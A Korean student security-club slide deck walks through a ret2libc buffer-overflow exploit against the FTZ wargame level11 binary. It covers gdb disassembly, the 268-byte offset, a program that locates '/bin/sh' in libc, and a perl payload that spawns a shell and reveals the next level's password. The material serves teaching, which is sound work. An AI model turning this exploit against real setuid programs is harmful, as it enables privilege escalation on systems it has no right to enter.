RTL 기법을 활용한 버퍼오버플로우

사이버보안학과 학술소학회 WhoIs

김형호

2017.11.23

CONTENTS

RTL 이란?

Ret2libc 의 줄임말.
RET 에 libc 라 불리는 공유 라이브러리 내의 함수를 덮어씌우는 공격 기법.

- system 함수와 /bin/sh 의 주소를 갖고 system("/bin/sh"); 가 실행되도록 유도해본다.

How To?

```
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}


[level11@ftz level11]$ gdb -q attackme
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   %ebp
0x08048471 <main+1>:    mov    %esp,%ebp
0x08048473 <main+3>:    sub    $0x108,%esp
0x08048479 <main+9>:    sub    $0x8,%esp
0x0804847c <main+12>:   push   $0xc14
0x08048481 <main+17>:   push   $0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
0x0804848b <main+27>:   add    $0x10,%esp
0x0804848e <main+30>:   sub    $0x8,%esp
0x08048491 <main+33>:   mov    0xc(%ebp),%eax
0x08048494 <main+36>:   add    $0x4,%eax
0x08048497 <main+39>:   pushl  (%eax)
0x08048499 <main+41>:   lea    0xffffef8(%ebp),%eax
0x0804849f <main+47>:   push   %eax
0x080484a0 <main+48>:   call   0x804835c <strcpy>
0x080484a5 <main+53>:   add    $0x10,%esp
0x080484a8 <main+56>:   sub    $0xc,%esp
0x080484ab <main+59>:   lea    0xffffef8(%ebp),%eax
0x080484b1 <main+65>:   push   %eax
0x080484b2 <main+66>:   call   0x804833c <printf>
0x080484b7 <main+71>:   add    $0x10,%esp
0x080484ba <main+74>:   leave
0x080484bb <main+75>:   ret
0x080484bc <main+76>:   nop
0x080484bd <main+77>:   nop
0x080484be <main+78>:   nop
0x080484bf <main+79>:   nop
End of assembler dump.
(gdb)
```

우선 공격을 할 코드를 분석.

```
0x08048470 <main+0>:    push   %ebp
0x08048471 <main+1>:    mov    %esp,%ebp
0x08048473 <main+3>:    sub    $0x108,%esp
0x08048479 <main+9>:    sub    $0x8,%esp
0x0804847c <main+12>:   push   $0xc14
0x08048481 <main+17>:   push   $0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
0x0804848b <main+27>:   add    $0x10,%esp
0x0804848e <main+30>:   sub    $0x8,%esp
0x08048491 <main+33>:   mov    0xc(%ebp),%eax
0x08048494 <main+36>:   add    $0x4,%eax
0x08048497 <main+39>:   pushl  (%eax)
0x08048499 <main+41>:   lea    0xffffef8(%ebp),%eax
0x0804849f <main+47>:   push   %eax
0x080484a0 <main+48>:   call   0x804835c <strcpy>
0x080484a5 <main+53>:   add    $0x10,%esp
0x080484a8 <main+56>:   sub    $0xc,%esp
0x080484ab <main+59>:   lea    0xffffef8(%ebp),%eax
0x080484b1 <main+65>:   push   %eax
0x080484b2 <main+66>:   call   0x804833c <printf>
0x080484b7 <main+71>:   add    $0x10,%esp
0x080484ba <main+74>:   leave
0x080484bb <main+75>:   ret
0x080484bc <main+76>:   nop
0x080484bd <main+77>:   nop
0x080484be <main+78>:   nop
0x080484bf <main+79>:   nop
```

str에 0x108
즉 256+8bytes가
할당되었고
SFP 의 주소값
4bytes 를 더하면
RET 은 str로부터
268bytes 만큼
떨어져 있다는걸
알 수 있다.

How To?

```
[level11@ftz tmp]$ gcc -o test test.c
[level11@ftz tmp]$ gdb -q test
(gdb) disas main
Dump of assembler code for function main:
0x08048328 <main+0>:    push   %ebp
0x08048329 <main+1>:    mov    %esp,%ebp
0x0804832b <main+3>:    sub    $0x8,%esp
0x0804832e <main+6>:    and    $0xfffffff0,%esp
0x08048331 <main+9>:    mov    $0x0,%eax
0x08048336 <main+14>:   sub    %eax,%esp
0x08048338 <main+16>:   sub    $0xc,%esp
0x0804833b <main+19>:   push   $0x80483f8
0x08048340 <main+24>:   call   0x8048268 <printf>
0x08048345 <main+29>:   add    $0x10,%esp
0x08048348 <main+32>:   leave
0x08048349 <main+33>:   ret
0x0804834a <main+34>:   nop
0x0804834b <main+35>:   nop
End of assembler dump.
(gdb) print system
No symbol "system" in current context.
(gdb) run
Starting program: /home/level11/tmp/test
HI

Program exited with code 03.
(gdb) system
Undefined command: "system".  Try "help".
(gdb) print system
Cannot access memory at address 0x4203f2c0
(gdb)
```

아무 의미 없는
더미코드를 작성한 후
gdb 로 실행하여
print system 을 입력하면
system 함수의
주소값을 알 수 있다.

How To?

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
//      printf("HI¥n");

        int shell = 0x4203f2c0;

        while(strcmp((void*)shell, "/bin/sh")!=0)
                shell++;

        printf("%x¥n", shell);
}
~
```

System 함수의 주소로부터 "/bin/sh" 의 주소를 찾는다.

```
[level11@ftz tmp]$ vim test.c
[level11@ftz tmp]$ gcc -o test test.c
[level11@ftz tmp]$ ./test
42127ea4
```

How To?

```
[level11@ftz level11]$ ./attackme `perl -e 'print "A"x268,"¥xc0¥xf2¥x03¥x42" "AAAA","¥xa4¥x7e¥x12¥x42"` `
Segmentation fault
```

```
[level11@ftz level11]$ export LANG=en_US
[level11@ftz level11]$ ./attackme `perl -e 'print "A"x268,"¥xc0¥xf2¥x03¥x42","AAAA","¥xa4¥x7e¥x12¥x42"'`
sh-2.05b$ my-pass

Level12 Password is "it is like this".

sh-2.05b$
```

system 의 주소 : 0x4203f2c0

/bin/sh 의 주소 : 0x42127ea4

Q & A

White Hacker of Information Security
WhoIs